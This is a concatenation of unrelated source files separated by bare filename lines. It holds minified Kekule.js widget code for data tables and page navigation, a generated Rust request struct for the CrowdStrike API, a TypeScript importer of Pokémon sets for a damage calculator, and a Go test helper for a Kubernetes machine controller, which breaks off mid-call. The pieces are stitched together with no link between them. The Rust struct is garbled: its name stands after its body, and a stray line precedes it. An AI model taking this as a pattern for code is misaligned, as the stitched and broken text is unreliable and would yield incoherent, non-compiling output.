if(E.isCheckCol){v={rowData:g,rowIndex:u,colIndex:c};var S=this.doCreateCheckCellContent(m,v);h[this.ROW_CHECKBOX_FIELD]=S}else{v={rowData:g,cellKey:f,cellValue:T,rowIndex:u,colIndex:c};this.doCreateDataCellContent(m,v)}C.appendChild(m),h.appendChild(C)}a.appendChild(h)}return t.appendChild(a),a},doCreateDataCellContent:function(t,i){var n="";Kekule.ObjUtils.notUnset(i.cellValue)&&(n=""+i.cellValue),e.setElementText(t,n)},doCreateCheckCellContent:function(e,t){var i=new Kekule.Widget.CheckBox(this);return i.appendToElem(e),i},doCreateOperCellContent:function(e,t){var i=this.doCreateOperToolbar(e,t.childWidgetDefinitions),n=Kekule.Widget.DataTable.OperColShowMode;return this.getOperColShowMode()!==n.ALL&&i.setVisible(!1),i},doCreateOperToolbar:function(e,t){var i=new Kekule.Widget.ButtonGroup(this);return i.setChildDefs(t),i.appendToElem(e),i},getDefaultOperButtons:function(){var e=Kekule.Widget.DataTable.Components;return[e.EDIT,e.DELETE]},getOperWidgetDefinitions:function(){for(var e=[],t=this.getOperWidgets()||this.getDefaultOperButtons(),i=0,n=t.length;i<n;++i){var s=t[i];if(DataType.isObjectValue(s))e.push(s);else{var r=this.getDefaultComponentDefinitionHash(s);r&&e.push(r)}}return e},getDefaultComponentDefinitionHash:function(e){var t,n=Kekule.Widget.DataTable.Components;return e===n.EDIT?t={widget:"Kekule.Widget.Button",htmlClass:i.DATATABLE_EDIT,text:Kekule.$L("WidgetTexts.CAPTION_DATATABLE_EDIT"),hint:Kekule.$L("WidgetTexts.HINT_DATATABLE_EDIT"),"#execute":this.reactOperEditBind}:e===n.DELETE?t={widget:"Kekule.Widget.Button",htmlClass:i.DATATABLE_DELETE,text:Kekule.$L("WidgetTexts.CAPTION_DATATABLE_DELETE"),hint:Kekule.$L("WidgetTexts.HINT_DATATABLE_DELETE"),"#execute":this.reactOperDeleteBind}:e===n.INSERT&&(t={widget:"Kekule.Widget.Button",htmlClass:i.DATATABLE_INSERT,text:Kekule.$L("WidgetTexts.CAPTION_DATATABLE_INSERT"),hint:Kekule.$L("WidgetTexts.HINT_DATATABLE_INSERT"),"#execute":this.reactOperInsertBind}),t&&(t.internalName=e),t},hasExternalDataProvider:function(){return!!this.getDataPager()},needSort:function(){return this.getSortFields()||this.getSortFunc()},sortData:function(){var e=this.getData()||[];if(this.needSort()&&!this.hasExternalDataProvider()){var t=Kekule.ArrayUtils.clone(e);return Kekule.ArrayUtils.sortHashArray(t,this.getSortFields()),t}return e},prepareData:function(){var e={},t=this.sortData();e.data=t;var n=function(e){for(var t=[],i=0,n=e.length;i<n;++i){var s=Kekule.ObjUtils.getOwnedFieldNames(e[i]);Kekule.ArrayUtils.pushUnique(t,s)}var r=[];for(i=0,n=t.length;i<n;++i)r.push({name:t[i],text:t[i]});return r};this.getColumns()?e.columns=Kekule.ArrayUtils.clone(this.getColumns()):e.columns=n(t);for(var s=0;s<e.columns.length;){var r=e.columns[s];if("string"==typeof r&&(r={name:r}),r.name===this.COLNAME_OPER)e.columns[s]={name:"",text:"",disableInteract:!0,isOperCol:!0,colClassName:i.DATATABLE_OPER_COL,className:i.DATATABLE_OPER_CELL};else if(r.name===this.COLNAME_CHECK)e.columns[s]={name:"",text:"",disableInteract:!0,isCheckCol:!0,colClassName:i.DATATABLE_CHECK_COL,className:i.DATATABLE_CHECK_CELL};else if(r.name===this.COLNAME_ALL){var a=n(t);a.unshift(1),a.unshift(s),e.columns.splice.apply(e.columns,a)}else r.colClassName=i.DATATABLE_DATA_COL+" "+(r.colClassName||""),r.className=i.DATATABLE_DATA_CELL+" "+(r.className||"");++s}if(this.needSort()&&!this.getSortFunc())for(var o=this.getSortFields(),l=(s=0,e.columns.length);s<l;++s){var u=e.columns[s].name;o.indexOf(u)>=0?e.columns[s].sorting=1:o.indexOf(this.PREFIX_SORT_DESC+u)>=0?e.columns[s].sorting=-1:e.columns[s].sorting=0}return e},activeRowChanged:function(e,n){var s=Kekule.Widget.DataTable.OperColShowMode,r=this.getOperColShowMode();e&&(t.removeClass(e,i.STATE_ACTIVE),r!==s.ACTIVE&&r!==s.HOVER||this.hideRowOperToolbar(e)),n&&(t.addClass(n,i.STATE_ACTIVE),r!==s.ACTIVE&&r!==s.HOVER||this.showRowOperToolbar(n))},hoverRowChanged:function(e,n){var s=Kekule.Widget.DataTable.OperColShowMode,r=this.getOperColShowMode();e&&(t.removeClass(e,i.STATE_HOVER),r===s.HOVER&&e!==this.getActiveRow()&&this.hideRowOperToolbar(e)),n&&(t.addClass(n,i.STATE_HOVER),r===s.HOVER&&this.showRowOperToolbar(n))},getParentCell:function(t){return e.isDescendantOf(t,this.getElement())?e.getNearestAncestorByTagName(t,"td",!0):null},getParentHeadCell:function(t){return e.isDescendantOf(t,this.getElement())?e.getNearestAncestorByTagName(t,"th",!0):null},getParentRow:function(t){return e.isDescendantOf(t,this.getElement())?e.getNearestAncestorByTagName(t,"tr",!0):null},getColCount:function(){return(this.getColumns()||[]).length},getRowCount:function(){return(this.getData()||[]).length},getDataRows:function(){var e=this.getElement().getElementsByTagName("tbody")[0];return e&&e.getElementsByTagName("tr")},getCheckedRows:function(){for(var e=[],t=this.getDataRows(),i=0,n=t.length;i<n;++i)this.isRowChecked(t[i])&&e.push(t[i]);return e},getRowData:function(e){return e?e[this.ROWDATA_FIELD]:null},isRowChecked:function(e){var t=this.getRowCheckBox(e);return t&&t.getChecked&&t.getChecked()},getRowCheckBox:function(e){return e&&e[this.ROW_CHECKBOX_FIELD]},getRowOperToolbar:function(e){return e?e[this.ROW_OPER_TOOLBAR_FIELD]:null},showRowOperToolbar:function(e){var t=this.getRowOperToolbar(e);t&&t.setVisible(!0)},hideRowOperToolbar:function(e){var t=this.getRowOperToolbar(e);t&&t.setVisible(!1)},dataPagerChanged:function(e,t){t&&(t.removeEventListener("pageRetrieve",this.reactPagerRetrieve,this),t.removeEventListener("dataFetched",this.reactPagerFetched,this),t.removeEventListener("dataError",this.reactPagerError,this)),e&&(e.addEventListener("pageRetrieve",this.reactPagerRetrieve,this),e.addEventListener("dataFetched",this.reactPagerFetched,this),e.addEventListener("dataError",this.reactPagerError,this),this.setData(e.getCurrPageData()))},reactPagerRetrieve:function(e){this.reportMessage&&(this._loadingDataMsg=this.reportMessage(Kekule.$L("WidgetTexts.MSG_RETRIEVING_DATA"),Kekule.Widget.MsgType.INFO))},reactPagerFetched:function(e){this.setData(e.data),this._loadingDataMsg&&this.removeMessage&&this.removeMessage(this._loadingDataMsg)},reactPagerError:function(e){this._loadingDataMsg&&this.removeMessage&&this.removeMessage(this._loadingDataMsg),this.flashMessage&&this.flashMessage(e.error.message||e.error,Kekule.Widget.MsgType.ERROR)},reactOperEdit:function(e){return this.reactOperExecute(s.EDIT,e)},reactOperDelete:function(e){return this.reactOperExecute(s.DELETE,e)},reactOperInsert:function(e){return this.reactOperExecute(s.INSERT,e)},reactOperExecute:function(e,t){var i=t.target,n=this.getParentRow(i.getElement()),s=this.getRowData(n);return this.doReactOperExecute(e,s,n,t)},doReactOperExecute:function(e,t,i,n){},react_click:function(e){this.tryApplySuper("react_click",[e]);var t=e.getTarget(),i=this.getParentHeadCell(t);if(i)this._autoSortOnHeadCell(i);else if(this.getEnableActiveRow()){var n=this.getParentCell(t);n&&this.setActiveCell(n)}},react_pointerover:function(e){this.tryApplySuper("react_pointerover",[e]);var t=e.getTarget();if(this.getEnableActiveRow()){var i=this.getParentCell(t);i?this.setHoverCell(i):this.setHoverCell(null)}},react_pointerleave:function(e){this.tryApplySuper("react_pointerleave",[e]);e.getTarget();this.getEnableActiveRow()&&this.setHoverCell(null)},_autoSortOnHeadCell:function(e){if(e&&this.getEnableHeadInteraction()){var t=e[this.COLDEF_FIELD];if(t&&!t.disableInteract){var i=t.name;1===t.sorting&&(i=this.PREFIX_SORT_DESC+i),this.setSortFields([i])}}},load:function(e,t,i,n){this.beginUpdate();try{this.setData(e),this.setColumns(t),this.setSortFields(i?Kekule.ArrayUtils.toArray(i):null),this.setSortFunc(n)}finally{this.endUpdate()}return this},reload:function(){return this.recreateChildContent(),this}}),Kekule.Widget.DataTable.OperColShowMode={NONE:"none",ACTIVE:"active",HOVER:"hover",ALL:"all"},Kekule.Widget.DataTable.Components={EDIT:"edit",DELETE:"delete",INSERT:"insert"};var s=Kekule.Widget.DataTable.Components;Kekule.Widget.PageNavigator=Class.create(Kekule.Widget.ButtonGroup,{CLASS_NAME:"Kekule.Widget.PageNavigator",initProperties:function(){this.defineProp("components",{dataType:DataType.ARRAY}),this.defineProp("firstIndex",{dataType:DataType.INT}),this.defineProp("lastIndex",{dataType:DataType.INT}),this.defineProp("currIndex",{dataType:DataType.INT}),this.defineProp("dataPager",{dataType:"Kekule.Widget.DataPager",setter:function(e){var t=this.getDataPager();t!==e&&(this.setPropStoreFieldValue("dataPager",e),this.dataPagerChanged(e,t))}})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setShowText(!0),this.setShowGlyph(!0),this.setFirstIndex(1),this.reactFirstBind=this.reactFirst.bind(this),this.reactLastBind=this.reactLast.bind(this),this.reactPrevBind=this.reactPrev.bind(this),this.reactNextBind=this.reactNext.bind(this),this.reactPageInputChangeBind=this.reactPageInputChange.bind(this)},doObjectChange:function(e){this.tryApplySuper("doObjectChange",[e]),Kekule.ArrayUtils.intersect(e,["firstIndex","lastIndex","currIndex"]).length&&this.updateChildComponent(),e.indexOf("currIndex")>=0&&this.invokeEvent("pageChange",{currIndex:this.getCurrIndex()})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+i.PAGENAVIGATOR},doCreateSubElements:function(e,t){return this.recreateChildContent(e,t)},getDefaultComponents:function(){return[r.FIRST,r.PREV,r.PAGESELECTOR,r.NEXT,r.LAST]},recreateChildContent:function(){for(var e=this.getComponents()||this.getDefaultComponents(),t=[],i=0,n=e.length;i<n;++i){var s=e[i];if(DataType.isObjectValue(s))t.push(s);else{var r=this.getDefaultComponentDefinitionHash(s);r&&t.push(r)}}this.setChildDefs(t),this.updateChildComponent()},getDefaultComponentDefinitionHash:function(e){var t;return(t=e===r.FIRST?{widget:"Kekule.Widget.Button",htmlClass:i.PAGENAVIGATOR_FIRST,text:Kekule.$L("WidgetTexts.CAPTION_FIRST_PAGE"),hint:Kekule.$L("WidgetTexts.HINT_FIRST_PAGE"),"#execute":this.reactFirstBind}:e===r.LAST?{widget:"Kekule.Widget.Button",htmlClass:i.PAGENAVIGATOR_LAST,text:Kekule.$L("WidgetTexts.CAPTION_LAST_PAGE"),hint:Kekule.$L("WidgetTexts.HINT_LAST_PAGE"),"#execute":this.reactLastBind}:e===r.PREV?{widget:"Kekule.Widget.Button",htmlClass:i.PAGENAVIGATOR_PREV,text:Kekule.$L("WidgetTexts.CAPTION_PREV_PAGE"),hint:Kekule.$L("WidgetTexts.HINT_PREV_PAGE"),"#execute":this.reactPrevBind}:e===r.NEXT?{widget:"Kekule.Widget.Button",htmlClass:i.PAGENAVIGATOR_NEXT,text:Kekule.$L("WidgetTexts.CAPTION_NEXT_PAGE"),hint:Kekule.$L("WidgetTexts.HINT_NEXT_PAGE"),"#execute":this.reactNextBind}:e===r.PAGEINPUT?{widget:"Kekule.Widget.TextBox",htmlClass:[i.PAGENAVIGATOR_PAGEINPUT,i.PAGENAVIGATOR_PAGEINDEXER],hint:Kekule.$L("WidgetTexts.HINT_CURR_PAGE"),"#valueChange":this.reactPageInputChangeBind}:e===r.PAGESELECTOR?{widget:"Kekule.Widget.SelectBox",htmlClass:[i.PAGENAVIGATOR_PAGESELECTOR,i.PAGENAVIGATOR_PAGEINDEXER],hint:Kekule.$L("WidgetTexts.HINT_CURR_PAGE"),"#valueChange":this.reactPageInputChangeBind}:null)&&(t.internalName=e),t},getComponent:function(e){return this.getChildWidgetByInternalName(e)},setChildComponentEnabled:function(e,t){var i=this.getComponent(e);i&&i.setEnabled(t)},updateChildComponent:function(){var e=this.getFirstIndex()||0,t=this.getLastIndex()||0,i=this.getCurrIndex()||0,n=i<=e,s=i>=t;this.setChildComponentEnabled(r.FIRST,!n),this.setChildComponentEnabled(r.PREV,!n),this.setChildComponentEnabled(r.NEXT,!s),this.setChildComponentEnabled(r.LAST,!s),this.setChildComponentEnabled(r.PAGEINPUT,t>e),this.setChildComponentEnabled(r.PAGESELECTOR,t>e);var a=this.getComponent(r.PAGEINPUT);a&&a.setValue(i);var o=this.getComponent(r.PAGESELECTOR);if(o){for(var l=[],u=e;u<=t;++u)l.push({value:u});o.setItems(l),o.setValue(i)}},dataPagerChanged:function(e,t){t&&(t.removeEventListener("dataFetched",this.reactPagerFetched,this),e.removeEventListener("pageCountChange",this.reactPagerPageCountChange,this)),e&&(e.addEventListener("dataFetched",this.reactPagerFetched,this),e.addEventListener("pageCountChange",this.reactPagerPageCountChange,this),this.updatePageDetails(e),this.setCurrIndex(e.getCurrPageIndex()+this.getFirstIndex()))},reactPagerFetched:function(e){this.setCurrIndex(e.pageIndex+this.getFirstIndex())},reactPagerPageCountChange:function(e){this.updatePageDetails(this.getDataPager())},updatePageDetails:function(e){var t=this.getFirstIndex();this.setLastIndex(e.getPageCount()+t-1)},requestChangeCurrIndex:function(e){var t=this.getDataPager();t?t.switchToPage(e-this.getFirstIndex()):this.setCurrIndex(e)},reactFirst:function(e){this.requestChangeCurrIndex(this.getFirstIndex()||0)},reactLast:function(e){this.requestChangeCurrIndex(this.getLastIndex()||0)},reactPrev:function(e){var t=this.getFirstIndex()||0,i=this.getCurrIndex()||0;this.requestChangeCurrIndex(Math.max(i-1,t))},reactNext:function(e){var t=this.getLastIndex()||0,i=this.getCurrIndex()||0;this.requestChangeCurrIndex(Math.min(i+1,t))},reactPageInputChange:function(e){var t=e.target.getValue();"string"==typeof t&&(t=parseInt(t));var i=this.getFirstIndex()||0,n=this.getLastIndex()||0;t>=i&&t<=n?this.requestChangeCurrIndex(t):Kekule.error(Kekule.$L("ErrorMsg.PAGE_INDEX_OUTOF_RANGE"))}}),Kekule.Widget.PageNavigator.Components={FIRST:"first",LAST:"last",PREV:"prev",NEXT:"next",PAGEINPUT:"pageInput",PAGESELECTOR:"pageSelector"};var r=Kekule.Widget.PageNavigator.Components}(),function(){"use strict";Kekule.HtmlElementUtils;var e=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{SYSMSGGROUP:"K-SysMsgGroup"}),Kekule.Widget.SysMsgGroup=Class.create(Kekule.Widget.MsgGroup,{CLASS_NAME:"Kekule.Widget.SysMsgGroup",initialize:function(e){this.tryApplySuper("initialize",[e])},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setMaxMsgCount(6)},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+e.SYSMSGGROUP}}),Kekule.Widget.ExceptionHandler=Class.create(Kekule.ExceptionHandler,{CLASS_NAME:"Kekule.Widget.ExceptionHandler",initProperties:function(){this.defineProp("document",{dataType:DataType.OBJECT,serializable:!1,getter:function(){return this.getPropStoreFieldValue("document")||document}}),this.defineProp("sysMsgGroup",{dataType:"Kekule.Widget.SysMsgGroup",serializable:!1,setter:null,getter:function(){var e=this.getPropStoreFieldValue("sysMsgGroup");if(!e){var t=(e=new Kekule.Widget.SysMsgGroup(this.getDocument())).getGlobalManager();e.appendToElem(t.getDefaultContextRootElem()),this.setPropStoreFieldValue("sysMsgGroup",e)}return e}})},throwException:function(e,t){var i,n=Kekule.ExceptionLevel,s=Kekule.Widget.MsgType;if(t||(t=n.ERROR),i="string"==typeof e?e:e.message){var r=t!==n.ERROR&&t?t===n.WARNING?s.WARNING:t===n.NOTE?s.INFO:s.NORMAL:s.ERROR;this.getSysMsgGroup().addMessage(i,r)}return this.tryApplySuper("throwException",[e,t])}}),Kekule.ClassUtils.makeSingleton(Kekule.Widget.ExceptionHandler),Kekule.X.domReady(function(){Kekule.exceptionHandler=Kekule.Widget.ExceptionHandler.getInstance()})}(),function(){"use strict";var e=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{OPER_HISTORY_TREE_VIEW:"K-OperHistory-TreeView"}),Kekule.Widget.OperHistoryTreeView=Class.create(Kekule.Widget.TreeView,{CLASS_NAME:"Kekule.Widget.OperHistoryTreeView",initialize:function(e,t){this.tryApplySuper("initialize",[e]),this.setPropStoreFieldValue("objMap",new Kekule.MapEx(!0)),this.setEnableLiveUpdate(!0),this.setEnableMultiSelect(!0),this.setOperHistory(t)},initProperties:function(){this.defineProp("operHistory",{dataType:"Kekule.OperationHistory",serializable:!1,setter:function(e){var t=this.getPropStoreFieldValue("operHistory");this.setPropStoreFieldValue("operHistory",e),this.operHistoryChanged(e,t)}}),this.defineProp("enableLiveUpdate",{dataType:DataType.BOOL}),this.defineProp("objMap",{dataType:"Kekule.MapEx",setter:null,serializable:!1})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+e.OPER_HISTORY_TREE_VIEW},operHistoryChanged:function(e,t){this.clearChildItems(),this.getObjMap().clear(),t&&this._uninstallRootEventHandler(t),e&&(this._fillTree(e),this._installRootEventHandler(e))},_installRootEventHandler:function(e){e.addEventListener("operChange",this.reactOperChange,this)},_uninstallRootEventHandler:function(e){e.removeEventListener("operChange",this.reactOperChange,this)},reactOperChange:function(e){if(this.getEnableLiveUpdate()){e.target;this._fillTree(e.target)}},_fillTree:function(e){if(e){this.clearChildItems(),this._updateTreeItem(this.appendChildItem(),e);var t=e.getCurrOperation(),i=t?this.getObjMap().get(t):null;this.select(i)}},_getOperChildCount:function(e){return e instanceof Kekule.OperationHistory?e.getOperationCount():e instanceof Kekule.MacroOperation?e.getChildCount():0},_getChildOperAt:function(e,t){return e instanceof Kekule.OperationHistory?e.getOperationAt(t):e instanceof Kekule.MacroOperation?e.getChildAt(t):null},_updateTreeItem:function(e,t){var i={text:this._getOperDisplayTitle(t),obj:t};this.setItemData(e,i),this.getObjMap().set(t,e);for(var n=this.getChildItemCount(e),s=this._getOperChildCount(t),r=0;r<s;++r){var a,o=this._getChildOperAt(t,r);a=r<n?this.getChildItemAt(e,r):this.appendChildItem(e),this._updateTreeItem(a,o)}if(n>s)for(r=n-1;r>=s;--r)this.removeChildItemAt(e,r)},_getOperDisplayTitle:function(e){var t=e.getClassName(),i=e.getTarget?e.getTarget():null;return i&&i.getId&&(t+="(target: "+i.getId()+")"),t}})}();
k
domain_entities_patch_request.rs
/* * CrowdStrike API Specification * * Use this API specification as a reference for the API endpoints you can use to interact with your Falcon environment. These endpoints support authentication via OAuth2 and interact with detections and network containment. For detailed usage guides and more information about API endpoints that don't yet support OAuth2, see our [documentation inside the Falcon console](https://falcon.crowdstrike.com/support/documentation). To use the APIs described below, combine the base URL with the path shown for each API endpoint. For commercial cloud customers, your base URL is `https://api.crowdstrike.com`. Each API endpoint requires authorization via an OAuth2 token. Your first API request should retrieve an OAuth2 token using the `oauth2/token` endpoint, such as `https://api.crowdstrike.com/oauth2/token`. For subsequent requests, include the OAuth2 token in an HTTP authorization header. Tokens expire after 30 minutes, after which you should make a new token request to continue making API requests. * * The version of the OpenAPI document: rolling * * Generated by: https://openapi-generator.tech */ #[derive(Clone, Debug, PartialEq, Default, Serialize, Deserialize)] pub struct
{ #[serde(rename = "action", skip_serializing_if = "Option::is_none")] pub action: Option<String>, #[serde(rename = "comment", skip_serializing_if = "Option::is_none")] pub comment: Option<String>, #[serde(rename = "ids", skip_serializing_if = "Option::is_none")] pub ids: Option<Vec<String>>, } impl DomainEntitiesPatchRequest { pub fn new() -> DomainEntitiesPatchRequest { DomainEntitiesPatchRequest { action: None, comment: None, ids: None } } }
DomainEntitiesPatchRequest
sets.ts
import * as path from 'path'; import * as fs from 'fs'; import * as ps from '@smogon/sets'; import * as calc from 'calc'; import * as tiers from './tiers.json'; const toID = calc.toID; // prettier-ignore const TIERS = [ 'Gamma', 'Beta', 'Alpha', 'CanonUber', 'LC', 'NFE', 'UU', 'OU', 'Uber', 'NU', 'NUBL', 'UUBL', 'CAP', 'LC Uber', 'CAP LC', 'CAP NFE', 'RU', 'RUBL', 'PU', '(PU)', 'PUBL', '(OU)', 'AG', '(Uber)', 'Illegal', ] as const; type Tier = typeof TIERS[number]; const TO_TIER = tiers as {[gen: number]: {[id: string]: Tier}}; const STATS = ['hp', 'at', 'df', 'sa', 'sd', 'sp'] as const; type Stat = typeof STATS[number]; // TODO: Migrate sets to calc.StatsTable type StatsTable<T = number> = {[k in Stat]?: T}; interface PokemonSet { level: number; ability?: string; item?: string; nature?: string; ivs?: Partial<StatsTable>; evs?: Partial<StatsTable>; moves: string[]; }
interface PokemonSets { [pokemon: string]: {[name: string]: PokemonSet}; } type RandomPokemonOptions = Exclude<PokemonSet, 'ability' | 'item'> & { abilities?: string[]; items?: string[]; }; const FORMATS: {[format: string]: string} = { OU: 'ou', UU: 'uu', RU: 'ru', NU: 'nu', PU: 'pu', ZU: 'zu', LC: 'lc', Uber: 'ubers', AG: 'anythinggoes', Monotype: 'monotype', Doubles: 'doublesou', VGC18: 'vgc2018', 'Battle Spot Singles': 'battlespotsingles', 'Battle Spot Doubles': 'battlespotdoubles', 'Battle Stadium Singles': 'battlestadiumsingles', BH: 'balancedhackmons', CAP: 'cap', '1v1': '1v1', }; type Format = keyof typeof FORMATS; const TO_FORMAT: {[tier in Tier]?: Format} = { Uber: 'Ubers', 'CAP LC': 'CAP', 'CAP NFE': 'CAP', UUBL: 'OU', NUBL: 'RU', 'LC Uber': 'LC', RUBL: 'UU', PUBL: 'NU', '(PU)': 'ZU', '(OU)': 'OU', }; const RECENT_ONLY: Format[] = ['Monotype', 'BH', 'CAP', '1v1']; const GENS = ['RBY', 'GSC', 'ADV', 'DPP', 'BW', 'XY', 'SM', 'SS']; const USAGE = ['OU', 'UU', 'RU', 'NU', 'PU', 'ZU', 'Uber', 'LC', 'Doubles']; export async function importSets(dir: string) { for (let g = 1; g <= 8; g++) { const gen = g as ps.GenerationNum; const setsByPokemon: PokemonSets = {}; for (const pokemon of Object.keys(calc.SPECIES[gen]).sort()) { await importSetsForPokemon(pokemon, gen, setsByPokemon); let sets = setsByPokemon[pokemon]; // If we can't find any sets for Gen 8 yet, just copy the Gen 7 sets instead... if (!sets && gen === 8) { await importSetsForPokemon(pokemon, 7, setsByPokemon); sets = setsByPokemon[pokemon]; } if (sets) { const sorted = Object.keys(sets); const tier = TO_TIER[gen][toID(pokemon)]; const format = TO_FORMAT[tier] || tier; if (format) { sorted.sort((a: string, b: string) => { const formatA = a.split('|')[0] === format; const formatB = b.split('|')[0] === format; if (formatA === formatB) return 0; if (formatA) return -1; return formatB ? 1 : 0; }); } setsByPokemon[pokemon] = {}; for (const name of sorted) { setsByPokemon[pokemon][name.slice(name.indexOf('|') + 1)] = sets[name]; } } } const comment = (from: string) => `/* AUTOMATICALLY GENERATED FROM ${from}, DO NOT EDIT! */`; fs.writeFileSync(path.resolve(dir, `sets/gen${gen}.js`), `${comment('@smogon/sets')}\n` + `var SETDEX_${GENS[gen - 1]} = ${JSON.stringify(setsByPokemon)};\n`); } } async function importSetsForPokemon( pokemon: string, gen: ps.GenerationNum, setsByPokemon: PokemonSets ) { for (const format in FORMATS) { const data = await ps.forFormat(`gen${gen}${FORMATS[format]}`); if (!data || (gen < 7 && RECENT_ONLY.includes(format as Format))) continue; const forme = toForme(pokemon); const smogon = data['dex']; if (smogon?.[forme]) { setsByPokemon[pokemon] = setsByPokemon[pokemon] || {}; for (const name in smogon[forme]) { setsByPokemon[pokemon][`${FORMATS[format]}|${format} ${name}`] = toCalc( smogon[forme][name] ); } } else { const eligible = (gen <= 3 && format === 'UU') || (gen >= 2 && gen <= 4 && format === 'NU') || (gen === 8 && USAGE.includes(format)); if (!eligible) continue; const usage = data['stats']; if (usage?.[forme]) { setsByPokemon[pokemon] = setsByPokemon[pokemon] || {}; for (const name in usage[forme]) { setsByPokemon[pokemon][`${FORMATS[format]}|${format} ${name}`] = toCalc( usage[forme][name] ); } } } } } const FORMES: {[name: string]: string} = { 'Aegislash-Blade': 'Aegislash', 'Aegislash-Shield': 'Aegislash', 'Wishiwashi-School': 'Wishiwashi', 'Minior-Meteor': 'Minior', 'Darmanitan-Galar-Zen': 'Darmanitan-Galar', 'Sirfetch’d': 'Sirfetch\'d', 'Keldeo-Resolute': 'Keldeo', }; // TODO handle Gmax function toForme(pokemon: string) { if (pokemon.endsWith('-Totem')) return pokemon.slice(0, -6); if (pokemon.endsWith('-Gmax')) return pokemon.slice(0, -5); return FORMES[pokemon] || pokemon; } function toCalc(set: ps.DeepPartial<ps.PokemonSet>): PokemonSet { return { level: set.level || 100, ability: set.ability, // TODO fixed? item: set.item, nature: set.nature, ivs: set.ivs && toStatsTable(set.ivs), evs: set.evs && toStatsTable(set.evs), moves: set.moves || [], }; } function toStatsTable(stats: ps.DeepPartial<ps.StatsTable>): StatsTable { const s: Partial<StatsTable> = {}; let stat: keyof ps.StatsTable; for (stat in stats) { const val = stats[stat]; s[shortForm(stat)] = val; } return s; } function shortForm(stat: keyof ps.StatsTable) { switch (stat) { case 'hp': return 'hp'; case 'atk': return 'at'; case 'def': return 'df'; case 'spa': return 'sa'; case 'spd': return 'sd'; case 'spe': return 'sp'; default: throw new TypeError('spc unsupported'); } }
controller_suite_test.go
/* Copyright (c) 2017 SAP SE or an SAP affiliate company. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package controller import ( "fmt" "testing" "time" machine_internal "github.com/gardener/machine-controller-manager/pkg/apis/machine" "github.com/gardener/machine-controller-manager/pkg/apis/machine/v1alpha1" faketyped "github.com/gardener/machine-controller-manager/pkg/client/clientset/versioned/typed/machine/v1alpha1/fake" machineinformers "github.com/gardener/machine-controller-manager/pkg/client/informers/externalversions" customfake "github.com/gardener/machine-controller-manager/pkg/fakeclient" "github.com/gardener/machine-controller-manager/pkg/util/provider/drain" "github.com/gardener/machine-controller-manager/pkg/util/provider/driver" "github.com/gardener/machine-controller-manager/pkg/util/provider/options" . "github.com/onsi/ginkgo" . "github.com/onsi/gomega" corev1 "k8s.io/api/core/v1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/runtime" "k8s.io/apimachinery/pkg/util/intstr" "k8s.io/apimachinery/pkg/util/sets" "k8s.io/apimachinery/pkg/watch" coreinformers "k8s.io/client-go/informers" v1core "k8s.io/client-go/kubernetes/typed/core/v1" "k8s.io/client-go/tools/cache" "k8s.io/client-go/tools/record" "k8s.io/client-go/util/workqueue" "k8s.io/klog" "k8s.io/utils/pointer" ) func TestMachineControllerSuite(t *testing.T) { RegisterFailHandler(Fail) RunSpecs(t, "Machine Controller Suite") } var ( controllerKindMachine = v1alpha1.SchemeGroupVersion.WithKind("Machine") MachineClass = "MachineClass" TestMachineClass = "machineClass-0" ) func newMachineDeployment( specTemplate *v1alpha1.MachineTemplateSpec, replicas int32, minReadySeconds int32, statusTemplate *v1alpha1.MachineDeploymentStatus, owner *metav1.OwnerReference, annotations map[string]string, labels map[string]string, ) *v1alpha1.MachineDeployment { return newMachineDeployments(1, specTemplate, replicas, minReadySeconds, statusTemplate, owner, annotations, labels)[0] } func newMachineDeployments( machineDeploymentCount int, specTemplate *v1alpha1.MachineTemplateSpec, replicas int32, minReadySeconds int32, statusTemplate *v1alpha1.MachineDeploymentStatus, owner *metav1.OwnerReference, annotations map[string]string, labels map[string]string, ) []*v1alpha1.MachineDeployment { intStr1 := intstr.FromInt(1) machineDeployments := make([]*v1alpha1.MachineDeployment, machineDeploymentCount) for i := range machineDeployments { machineDeployment := &v1alpha1.MachineDeployment{ TypeMeta: metav1.TypeMeta{ APIVersion: "machine.sapcloud.io", Kind: "MachineDeployment", }, ObjectMeta: metav1.ObjectMeta{ Name: fmt.Sprintf("machinedeployment-%d", i), Namespace: testNamespace, Labels: labels, }, Spec: v1alpha1.MachineDeploymentSpec{ MinReadySeconds: minReadySeconds, Replicas: replicas, Selector: &metav1.LabelSelector{ MatchLabels: deepCopy(specTemplate.ObjectMeta.Labels), }, Strategy: v1alpha1.MachineDeploymentStrategy{ RollingUpdate: &v1alpha1.RollingUpdateMachineDeployment{ MaxSurge: &intStr1, MaxUnavailable: &intStr1, }, }, Template: *specTemplate.DeepCopy(), }, } if statusTemplate != nil { machineDeployment.Status = *statusTemplate.DeepCopy() } if owner != nil { machineDeployment.OwnerReferences = append(machineDeployment.OwnerReferences, *owner.DeepCopy()) } if annotations != nil { machineDeployment.Annotations = annotations } machineDeployments[i] = machineDeployment } return machineDeployments } func newMachineSetFromMachineDeployment( machineDeployment *v1alpha1.MachineDeployment, replicas int32, statusTemplate *v1alpha1.MachineSetStatus, annotations map[string]string, labels map[string]string, ) *v1alpha1.MachineSet { return newMachineSetsFromMachineDeployment(1, machineDeployment, replicas, statusTemplate, annotations, labels)[0] } func newMachineSetsFromMachineDeployment( machineSetCount int, machineDeployment *v1alpha1.MachineDeployment, replicas int32, statusTemplate *v1alpha1.MachineSetStatus, annotations map[string]string, labels map[string]string, ) []*v1alpha1.MachineSet { finalLabels := make(map[string]string) for k, v := range labels { finalLabels[k] = v } for k, v := range machineDeployment.Spec.Template.Labels { finalLabels[k] = v } t := &machineDeployment.TypeMeta return newMachineSets( machineSetCount, &machineDeployment.Spec.Template, replicas, machineDeployment.Spec.MinReadySeconds, 